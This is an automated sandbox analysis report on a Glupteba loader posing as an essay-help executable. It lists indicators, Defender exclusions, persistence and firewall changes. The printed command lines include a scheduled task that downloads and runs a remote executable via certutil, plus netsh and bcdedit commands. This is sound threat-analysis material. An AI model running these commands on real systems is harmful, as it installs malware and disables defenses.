glupteba | 3c1ad5e16b7bcd6de12003bd6d7c2c94e47b1819dda35992beaad1dce5322b23

Analysis

max time kernel
119s
max time network
122s
platform
windows10_x64
resource
win10-20220414-en
submitted
16-05-2022 08:10

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General

Target

how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe
Size

3.7MB
MD5

81703610976f32d1c1f091cf3c9d672e
SHA1

16c099c944685a8e597aef71ff1c78bdf190a0c4
SHA256

7ebcfa350728f258d2df454a58ef1866c5ec430b575fd239518af3ec92c29984
SHA512

818ed03701aaf1869172fd7be84cb4fd9380d9be6e7aa13b4cd65a68330bb8ff741623504672f056afb5d7881c73eb3d2ea31b52c953128fead19af7428c2e57

Score

10^/10

glupteba discovery dropper evasion loader persistence trojan

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 4 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4696-119-0x0000000002D20000-0x000000000341C000-memory.dmp	family_glupteba
behavioral2/memory/4696-120-0x0000000000400000-0x0000000000B16000-memory.dmp	family_glupteba
behavioral2/memory/4820-125-0x0000000000400000-0x0000000000B16000-memory.dmp	family_glupteba
behavioral2/memory/3152-133-0x0000000000400000-0x0000000000B16000-memory.dmp	family_glupteba

Windows security bypass 2 TTPs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112

Modifies boot configuration data using bcdedit 15 IoCs

Processes:

bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exe

pid	process
3612	bcdedit.exe
3792	bcdedit.exe
3724	bcdedit.exe
3344	bcdedit.exe
5024	bcdedit.exe
4916	bcdedit.exe
4580	bcdedit.exe
4276	bcdedit.exe
1940	bcdedit.exe
4416	bcdedit.exe
4360	bcdedit.exe
4384	bcdedit.exe
560	bcdedit.exe
416	bcdedit.exe
1224	bcdedit.exe

Drops file in Drivers directory 2 IoCs

Processes:

dsefix.execsrss.exe

description ioc process

File created C:\Windows\system32\drivers\VBoxDrv.sys dsefix.exe
File created C:\Windows\System32\drivers\Winmon.sys csrss.exe
Executes dropped EXE 3 IoCs

Processes:

csrss.exepatch.exedsefix.exe

pid process

3152 csrss.exe
2232 patch.exe
1288 dsefix.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
evasion

Impair Defenses
T1562

Command-Line Interface
T1059
Loads dropped DLL 4 IoCs

Processes:

patch.exe

pid process

2232 patch.exe
2232 patch.exe
2232 patch.exe
2232 patch.exe

description	ioc	process
File created	C:\Windows\system32\drivers\VBoxDrv.sys	dsefix.exe
File created	C:\Windows\System32\drivers\Winmon.sys	csrss.exe

pid	process
3152	csrss.exe
2232	patch.exe
1288	dsefix.exe

pid	process
2232	patch.exe
2232	patch.exe
2232	patch.exe
2232	patch.exe

Windows security modification 2 TTPs 12 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\6cfcca143217 = "0"	how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\PolishedShadow = "0"	how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe = "0"	how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\6cfcca143217.exe = "0"	how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-4236190499-842014725-259441995-1000\Software\Microsoft\Windows\CurrentVersion\Run\PolishedShadow = "\"C:\\Windows\\rss\\csrss.exe\""	how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Windows directory 2 IoCs

Processes:

how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe

description	ioc	process
File opened for modification	C:\Windows\rss	how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe
File created	C:\Windows\rss\csrss.exe	how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

4072 schtasks.exe
4100 schtasks.exe

pid	process
4072	schtasks.exe
4100	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exenetsh.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1801 = "Line Islands Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1911 = "Russia TZ 10 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2002 = "Cabo Verde Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2591 = "Tocantins Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2162 = "Altai Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2612 = "Bougainville Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\System\CurrentControlSet\Control	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2452 = "Saint Pierre Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1721 = "Libya Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2592 = "Tocantins Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2792 = "Novosibirsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2392 = "Aleutian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1972 = "Belarus Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2321 = "Sakhalin Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2391 = "Aleutian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-501 = "Nepal Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1891 = "Russia TZ 3 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1842 = "Russia TZ 4 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2771 = "Omsk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2791 = "Novosibirsk Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2181 = "Astrakhan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2341 = "Haiti Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time"	csrss.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exehow_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.execsrss.exe

pid	process
4696	how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe
4696	how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe
4820	how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe
4820	how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe
3152	csrss.exe
3152	csrss.exe
3152	csrss.exe
3152	csrss.exe

Suspicious behavior: LoadsDriver 2 IoCs

Processes:

pid process

620
620

pid	process
620
620

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	4696	how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe
Token: SeImpersonatePrivilege	4696	how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe
Token: SeSystemEnvironmentPrivilege	3152	csrss.exe

Suspicious use of WriteProcessMemory 43 IoCs

Processes:

how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.execmd.execmd.exepatch.execsrss.exe

description	pid	process	target process
PID 4820 wrote to memory of 5112	4820	how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe	cmd.exe
PID 4820 wrote to memory of 5112	4820	how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe	cmd.exe
PID 5112 wrote to memory of 3560	5112	cmd.exe	netsh.exe
PID 5112 wrote to memory of 3560	5112	cmd.exe	netsh.exe
PID 4820 wrote to memory of 1368	4820	how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe	cmd.exe
PID 4820 wrote to memory of 1368	4820	how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe	cmd.exe
PID 1368 wrote to memory of 2032	1368	cmd.exe	netsh.exe
PID 1368 wrote to memory of 2032	1368	cmd.exe	netsh.exe
PID 4820 wrote to memory of 3152	4820	how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe	csrss.exe
PID 4820 wrote to memory of 3152	4820	how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe	csrss.exe
PID 4820 wrote to memory of 3152	4820	how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe	csrss.exe
PID 2232 wrote to memory of 3612	2232	patch.exe	bcdedit.exe
PID 2232 wrote to memory of 3612	2232	patch.exe	bcdedit.exe
PID 2232 wrote to memory of 3792	2232	patch.exe	bcdedit.exe
PID 2232 wrote to memory of 3792	2232	patch.exe	bcdedit.exe
PID 2232 wrote to memory of 3724	2232	patch.exe	bcdedit.exe
PID 2232 wrote to memory of 3724	2232	patch.exe	bcdedit.exe
PID 2232 wrote to memory of 3344	2232	patch.exe	bcdedit.exe
PID 2232 wrote to memory of 3344	2232	patch.exe	bcdedit.exe
PID 2232 wrote to memory of 5024	2232	patch.exe	bcdedit.exe
PID 2232 wrote to memory of 5024	2232	patch.exe	bcdedit.exe
PID 2232 wrote to memory of 4916	2232	patch.exe	bcdedit.exe
PID 2232 wrote to memory of 4916	2232	patch.exe	bcdedit.exe
PID 2232 wrote to memory of 4580	2232	patch.exe	bcdedit.exe
PID 2232 wrote to memory of 4580	2232	patch.exe	bcdedit.exe
PID 2232 wrote to memory of 4276	2232	patch.exe	bcdedit.exe
PID 2232 wrote to memory of 4276	2232	patch.exe	bcdedit.exe
PID 2232 wrote to memory of 1940	2232	patch.exe	bcdedit.exe
PID 2232 wrote to memory of 1940	2232	patch.exe	bcdedit.exe
PID 2232 wrote to memory of 4416	2232	patch.exe	bcdedit.exe
PID 2232 wrote to memory of 4416	2232	patch.exe	bcdedit.exe
PID 2232 wrote to memory of 4360	2232	patch.exe	bcdedit.exe
PID 2232 wrote to memory of 4360	2232	patch.exe	bcdedit.exe
PID 2232 wrote to memory of 4384	2232	patch.exe	bcdedit.exe
PID 2232 wrote to memory of 4384	2232	patch.exe	bcdedit.exe
PID 2232 wrote to memory of 560	2232	patch.exe	bcdedit.exe
PID 2232 wrote to memory of 560	2232	patch.exe	bcdedit.exe
PID 2232 wrote to memory of 416	2232	patch.exe	bcdedit.exe
PID 2232 wrote to memory of 416	2232	patch.exe	bcdedit.exe
PID 3152 wrote to memory of 1224	3152	csrss.exe	bcdedit.exe
PID 3152 wrote to memory of 1224	3152	csrss.exe	bcdedit.exe
PID 3152 wrote to memory of 1288	3152	csrss.exe	dsefix.exe
PID 3152 wrote to memory of 1288	3152	csrss.exe	dsefix.exe

C:\Users\Admin\AppData\Local\Temp\how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe
"C:\Users\Admin\AppData\Local\Temp\how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4696

C:\Users\Admin\AppData\Local\Temp\how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe
"C:\Users\Admin\AppData\Local\Temp\how_to_tame_a_wild_tongue_metaphor-RTMD-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA.exe"
2⤵
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4820

C:\Windows\System32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:5112

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies data under HKEY_USERS
PID:3560

C:\Windows\System32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\6cfcca143217\6cfcca143217.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:1368

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\6cfcca143217\6cfcca143217.exe" enable=yes
4⤵
PID:2032

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe /6-AH-RtF-GMAAAFzsCAEdCGQAmAGbBP4UA
3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3152

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:4100

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:4072

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2232

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
5⤵
- Modifies boot configuration data using bcdedit
PID:3612

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
5⤵
- Modifies boot configuration data using bcdedit
PID:3792

C:\Windows\system32\bcdedit.exe
